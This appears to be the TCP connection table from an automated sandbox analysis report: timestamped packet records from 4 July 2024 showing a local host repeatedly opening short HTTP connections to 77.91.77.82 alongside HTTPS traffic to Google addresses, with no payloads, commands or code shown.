Jul 4, 2024 22:21:19.539455891 CEST	49755	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:19.548202991 CEST	80	49748	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:19.548317909 CEST	49748	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:19.548799038 CEST	80	49755	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:19.548860073 CEST	49755	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:19.549043894 CEST	49755	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:19.557751894 CEST	80	49755	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:20.248509884 CEST	80	49755	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:20.248590946 CEST	49755	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:20.283545971 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:20.283567905 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:20.284173012 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:20.284533024 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:20.284545898 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:20.316546917 CEST	49755	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:20.323311090 CEST	80	49755	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:20.536763906 CEST	80	49755	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:20.536835909 CEST	49755	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:20.644234896 CEST	49755	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:20.644568920 CEST	49759	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:20.649441004 CEST	80	49759	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:20.649483919 CEST	80	49755	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:20.649528980 CEST	49759	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:20.649557114 CEST	49755	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:20.649796009 CEST	49759	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:20.654624939 CEST	80	49759	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:20.947779894 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:20.947984934 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:20.947994947 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:20.948328018 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:20.948380947 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:20.948940992 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:20.948997021 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:20.950028896 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:20.950082064 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:20.950432062 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:20.950438023 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:20.998203993 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.273149967 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.273377895 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.273408890 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.273422956 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.273436069 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.273458958 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.278883934 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.279032946 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.279038906 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.285018921 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.285044909 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.285089970 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.285096884 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.285141945 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.291857004 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.291902065 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.298007011 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.298033953 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.298082113 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.298089027 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.298131943 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.358853102 CEST	80	49759	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:21.358983994 CEST	49759	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:21.362523079 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:21.362554073 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:21.362623930 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:21.364587069 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.364639044 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.364665031 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.364726067 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.364768028 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.364810944 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.366421938 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:21.366437912 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:21.367796898 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.367865086 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.367892981 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.367938995 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.373776913 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.373841047 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.379694939 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.379761934 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.380469084 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.386092901 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.386147976 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.386153936 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.391911030 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.391953945 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.391958952 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.393047094 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.393296003 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.422333002 CEST	49759	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:21.422660112 CEST	49756	443	192.168.2.5	142.250.181.238
Jul 4, 2024 22:21:21.422671080 CEST	443	49756	142.250.181.238	192.168.2.5
Jul 4, 2024 22:21:21.427459955 CEST	80	49759	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:21.500699043 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:21.500725031 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:21.500904083 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:21.501211882 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:21.501225948 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:21.647051096 CEST	80	49759	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:21.647108078 CEST	49759	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:21.751619101 CEST	49759	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:21.751912117 CEST	49764	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:21.756724119 CEST	80	49764	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:21.756788015 CEST	49764	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:21.756891966 CEST	49764	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:21.756958008 CEST	80	49759	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:21.757004976 CEST	49759	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:21.761826038 CEST	80	49764	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:22.079516888 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.079683065 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.079706907 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.080064058 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.080122948 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.080784082 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.080837965 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.082192898 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.082254887 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.082516909 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.082524061 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.129431009 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.148057938 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.150340080 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.150353909 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.150748014 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.150823116 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.151485920 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.151540995 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.151654959 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.151740074 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.151827097 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.192540884 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.193027020 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.193036079 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.239315033 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.361205101 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.361371994 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.361437082 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.361681938 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.361701012 CEST	443	49760	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.361709118 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.361741066 CEST	49760	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.362710953 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.362735033 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.362931967 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.363200903 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.363213062 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.429630995 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.429785967 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.430023909 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.430037022 CEST	443	49762	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.430047035 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.430057049 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.430083990 CEST	49762	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.430807114 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.430819988 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.430887938 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.431180000 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:22.431191921 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:22.487592936 CEST	80	49764	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:22.489738941 CEST	49764	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:22.490325928 CEST	49764	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:22.495630026 CEST	80	49764	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:22.720818043 CEST	80	49764	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:22.722158909 CEST	49764	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:22.831084013 CEST	49764	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:22.831410885 CEST	49769	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:22.836355925 CEST	80	49764	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:22.836733103 CEST	80	49769	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:22.836828947 CEST	49764	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:22.836873055 CEST	49769	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:22.839024067 CEST	49769	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:22.844018936 CEST	80	49769	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:23.103235006 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.106287003 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.106300116 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.106733084 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.106918097 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.107445955 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.107508898 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.107631922 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.107703924 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.107784986 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.107812881 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.107820034 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.107985020 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.110249043 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.110266924 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.110582113 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.110631943 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.111176968 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.111226082 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.111360073 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.111414909 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.111547947 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.111577034 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.111583948 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.155747890 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.158123016 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.304553986 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.305645943 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.305721045 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.306298018 CEST	49766	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.306313992 CEST	443	49766	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.309590101 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.310097933 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.310148001 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.310655117 CEST	49767	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:23.310663939 CEST	443	49767	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:23.535095930 CEST	80	49769	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:23.535327911 CEST	49769	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:23.537797928 CEST	49769	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:23.542537928 CEST	80	49769	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:23.645618916 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:23.692509890 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:23.754757881 CEST	80	49769	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:23.758128881 CEST	49769	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:23.860662937 CEST	49769	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:23.860986948 CEST	49771	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:23.865787029 CEST	80	49769	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:23.865797997 CEST	80	49771	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:23.865855932 CEST	49769	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:23.865904093 CEST	49771	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:23.866061926 CEST	49771	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:23.870892048 CEST	80	49771	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:23.915339947 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:23.915394068 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:23.915442944 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:23.915479898 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:23.915493965 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:23.915535927 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:23.916488886 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:23.916608095 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:23.918133974 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:23.918533087 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:23.918549061 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:24.575637102 CEST	80	49771	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:24.575716972 CEST	49771	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:24.598192930 CEST	49771	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:24.602933884 CEST	80	49771	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:24.821240902 CEST	80	49771	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:24.821300983 CEST	49771	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:24.937498093 CEST	49771	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:24.937896013 CEST	49773	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:24.942528009 CEST	80	49771	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:24.942596912 CEST	49771	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:24.942677021 CEST	80	49773	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:24.942748070 CEST	49773	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:24.942929983 CEST	49773	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:24.947824001 CEST	80	49773	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:25.651587009 CEST	80	49773	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:25.651830912 CEST	49773	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:25.652506113 CEST	49773	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:25.658504963 CEST	80	49773	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:25.873960972 CEST	80	49773	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:25.874192953 CEST	49773	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:25.984631062 CEST	49773	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:25.984833002 CEST	49776	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:25.989778042 CEST	80	49776	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:25.989789009 CEST	80	49773	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:25.989882946 CEST	49773	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:25.989902973 CEST	49776	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:25.990014076 CEST	49776	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:25.994729996 CEST	80	49776	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:26.693120956 CEST	80	49776	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:26.693187952 CEST	49776	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:26.715292931 CEST	49776	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:26.720447063 CEST	80	49776	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:26.937583923 CEST	80	49776	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:26.937652111 CEST	49776	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:27.053486109 CEST	49776	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:27.053677082 CEST	49778	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:27.058523893 CEST	80	49778	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:27.058610916 CEST	80	49776	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:27.058612108 CEST	49778	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:27.058657885 CEST	49776	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:27.067009926 CEST	49778	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:27.072153091 CEST	80	49778	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:27.758950949 CEST	80	49778	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:27.759006977 CEST	49778	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:27.759783030 CEST	49778	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:27.764554977 CEST	80	49778	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:27.977404118 CEST	80	49778	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:27.977462053 CEST	49778	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:28.093347073 CEST	49778	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:28.093637943 CEST	49780	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:28.098439932 CEST	80	49780	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:28.098505020 CEST	49780	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:28.098609924 CEST	49780	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:28.099050045 CEST	80	49778	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:28.099100113 CEST	49778	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:28.104089975 CEST	80	49780	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:28.819880009 CEST	80	49780	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:28.820153952 CEST	49780	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:28.820760012 CEST	49780	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:28.825578928 CEST	80	49780	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:29.047399998 CEST	80	49780	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:29.050143957 CEST	49780	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:29.156488895 CEST	49780	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:29.156773090 CEST	49781	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:29.161638975 CEST	80	49781	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:29.161705971 CEST	49781	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:29.161793947 CEST	49781	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:29.161937952 CEST	80	49780	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:29.161988020 CEST	49780	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:29.166863918 CEST	80	49781	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:29.331032991 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:29.331054926 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:29.331118107 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:29.331664085 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:29.331676006 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:29.855978012 CEST	80	49781	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:29.856028080 CEST	49781	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:29.856841087 CEST	49781	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:29.861685038 CEST	80	49781	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:29.978451967 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:29.978687048 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:29.978698015 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:29.979062080 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:29.979384899 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:29.979449987 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:29.979552031 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:29.979571104 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:29.979574919 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:30.073626041 CEST	80	49781	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:30.076117992 CEST	49781	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:30.189080000 CEST	49781	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:30.189367056 CEST	49783	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:30.194341898 CEST	80	49781	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:30.194396019 CEST	49781	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:30.194724083 CEST	80	49783	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:30.196147919 CEST	49783	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:30.196276903 CEST	49783	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:30.201704979 CEST	80	49783	77.91.77.82	192.168.2.5
